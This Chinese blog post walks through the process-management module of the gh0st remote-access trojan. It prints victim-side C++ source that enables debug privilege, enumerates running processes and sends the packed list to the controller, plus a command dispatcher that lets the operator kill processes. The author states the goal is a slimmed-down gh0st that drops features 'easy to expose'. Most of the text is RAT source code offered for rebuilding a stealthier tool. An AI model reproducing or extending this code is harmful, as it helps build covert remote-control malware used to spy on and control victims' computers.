真的很久很久了,距离上一次写gh0st的文章(http://www.mmcyy.com),过去有大半年了。总算有一个时间,我放下手里所有的活,能够继续把这份努力延续下去。
以后对于gh0st的文章,就是一个一个模块的分析。原本gh0st就是由很多功能组成的一个强大的远控,但有些东西并不是功能越强大越好。我们到最后,会做一个gh0st的精简,留下最重要的功能,淘汰一些庞大而容易暴露的功能。所以,只有我们模块化了一个软件之后,我们才能更方便地去删除或增加一个功能,否则删除掉某个模块之后导致整个gh0st运行不了了,得不偿失。
今天带来的是进程管理模块,这个模块文件是SystemManager.cpp。
我们先来看被控端,一个获取当前进程列表的模块。调用的相关api是CreateToolhelp32Snapshot -> Process32First -> OpenProcess -> EnumProcessModules -> GetModuleFileNameEx -> Process32Next -> CloseHandle
首先调用CreateToolhelp32Snapshot 创建当前进程列表的快照,再调用Process32First获得快照中第一个进程句柄,OpenProcess打开此进程,EnumProcessModules列举这个进程引用的模块(第一个模块就是进程自身,原本这个函数应该返回该进程所有模块的一个数组,但因为我只需要第一个模块,所以传入一个HMODULE型地址即可)。得到他自身的模块后,GetModuleFileNameEx获得其完整名称。此时就算获取到了进程列表中一个进程信息,再使用Process32Next获得下一个进程,重复以上步骤。
最后当Process32Next获取不到进程后,就算将整个进程列表快照遍历完了,调用CloseHandle关闭快照句柄即可。
流程图如下:
下面就是gh0st中,获取进程列表的代码:
01 |
LPBYTE CSystemManager::getProcessList() |
02 |
{ |
03 |
HANDLE hSnapshot = NULL; |
04 |
HANDLE hProcess = NULL; |
05 |
HMODULE hModules = NULL; |
06 |
PROCESSENTRY32 pe32 = {0}; |
07 |
DWORD cbNeeded; |
08 |
char strProcessName[MAX_PATH] = {0}; |
09 |
LPBYTE lpBuffer = NULL; |
10 |
DWORD dwOffset = 0; |
11 |
DWORD dwLength = 0; |
12 |
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提取权限 |
13 |
//创建系统快照 |
14 |
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); |
15 |
|
16 |
if (hSnapshot == INVALID_HANDLE_VALUE) |
17 |
return NULL; |
18 |
|
19 |
pe32.dwSize = sizeof (PROCESSENTRY32); |
20 |
|
21 |
lpBuffer = ( LPBYTE )LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区 |
22 |
|
23 |
lpBuffer[0] = TOKEN_PSLIST; //注意这个是数据头 一会我们到主控端来搜索这个数据头 |
24 |
dwOffset = 1; |
25 |
|
26 |
if (Process32First(hSnapshot, &pe32)) //得到第一个进程顺便判断一下系统快照是否成功 |
27 |
{ |
28 |
do |
29 |
{ |
30 |
//打开进程并返回句柄 |
31 |
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); |
32 |
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8)) |
33 |
{ |
34 |
//枚举第一个模块句柄也就是自身 |
35 |
EnumProcessModules(hProcess, &hModules, sizeof (hModules), &cbNeeded); |
36 |
//得到自身的完整名称 |
37 |
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof (strProcessName)); |
38 |
//开始计算占用的缓冲区, 我们关心他的发送的数据结构 |
39 |
// 此进程占用数据大小 |
40 |
dwLength = sizeof ( DWORD ) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2; |
41 |
// 缓冲区太小,再重新分配下 |
42 |
if (LocalSize(lpBuffer) < (dwOffset + dwLength)) |
43 |
lpBuffer = ( LPBYTE )LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); |
44 |
|
45 |
//接下来三个memcpy就是向缓冲区里存放数据 数据结构是 进程ID+进程名+0+进程完整名+0 |
46 |
//为什么加0 ?因为字符数据是以0 结尾的 |
47 |
memcpy (lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof ( DWORD )); |
48 |
dwOffset += sizeof ( DWORD ); |
49 |
|
50 |
memcpy (lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); |
51 |
dwOffset += lstrlen(pe32.szExeFile) + 1; |
52 |
|
53 |
memcpy (lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1); |
54 |
dwOffset += lstrlen(strProcessName) + 1; |
55 |
} |
56 |
} |
57 |
while (Process32Next(hSnapshot, &pe32)); //继续得到下一个快照 |
58 |
} |
59 |
//用lpbuffer获得整个缓冲区 |
60 |
lpBuffer = ( LPBYTE )LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE); |
61 |
|
62 |
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权 |
63 |
CloseHandle(hSnapshot); //释放句柄 |
64 |
return lpBuffer; //这个数据返回后就是发送了 之前讲过了,我们可以到主控端去搜索TOKEN_PSLIST了。 |
65 |
} |
代码基本上就跟我的流程图一样的过程,用一个do..while循环,遍历整个进程列表快照。其中调用的EnumProcessModules函数要注意,传入的第二个参数是一个HMODULE类型指针,而不是MSDN中说的数组。当然也可以理解成只含有一个HMODULE类型变量的数组,因为我只需要第一个模块信息就行了。
获得了可执行文件名、详细名称后,gh0st用了一个结构:“进程ID+进程名+0+进程完整名+0”来保存他们。0相当于一个分隔符,将信息分割开。在主控端取进程信息的时候就直接取一个数字,两个字符串即可,因为字符串就是以0结尾。
这个函数最前面调用了一个DebugPrivilege,这就是一个简单的提权函数,在很多地方都用到过,我就不多讲了。
所以,最后getProcessList函数返回的就是一个包含所有进程信息的一个缓冲区,类似这样"01ieplorer.exe\0IE浏览器\002qq.exe\0腾讯QQ\0...."。SendProcessList调用了这个函数,并把获得的缓冲区发送给主控端:
01 |
void CSystemManager::SendProccessList() |
02 |
{ |
03 |
UINT nRet = -1; |
04 |
LPBYTE lpBuffer = getProcessList(); //得到进程列表的数据,一会转到 getProcessList定义 |
05 |
if (lpBuffer == NULL) |
06 |
return ; |
07 |
08 |
Send(( LPBYTE )lpBuffer, LocalSize(lpBuffer)); //得到发送得到的进程列表数据 |
09 |
LocalFree(lpBuffer); |
10 |
} |
这就是被控端上获取所有进程信息并发送给主控端的一个过程。
我之前文章里也说过,被控端中每一个模块类中,都有一个固定的方法,叫OnReceive,这是当主控端发送来的命令,会最终被传递给这个方法。这个方法就来根据命令调度需要执行的功能。
所以,SystemManager类也有这个方法:
01 |
void CSystemManager::OnReceive( LPBYTE lpBuffer, UINT nSize) |
02 |
{ |
03 |
SwitchInputDesktop(); |
04 |
switch (lpBuffer[0]) |
05 |
{ |
06 |
case COMMAND_PSLIST: |
07 |
SendProcessList(); |
08 |
break ; |
09 |
case COMMAND_WSLIST: |
10 |
//SendWindowsList(); |
11 |
break ; |
12 |
case COMMAND_DIALUPASS: |
13 |
//SendDialupassList(); |
14 |
break ; |
15 |
case COMMAND_KILLPROCESS: //这里是进程管理接收数据的函数了 在这里判断是那个命令,到KillProcess定义 |
16 |
KillProcess(( LPBYTE )lpBuffer + 1, nSize - 1); |
17 |
default : |
18 |
break ; |
19 |
} |
20 |
} |
另外还有两个命令,他们是窗口管理和拨号管理的功能。实际上,这两个功能并不太需要,可以直接精简掉。我们暂时将之注释。
下次我会说到,主控端界面的一些编写(主要是tab标签页的制作),和接收来自被控端的数据,并显示到页面上。最终完成这个进程管理模块。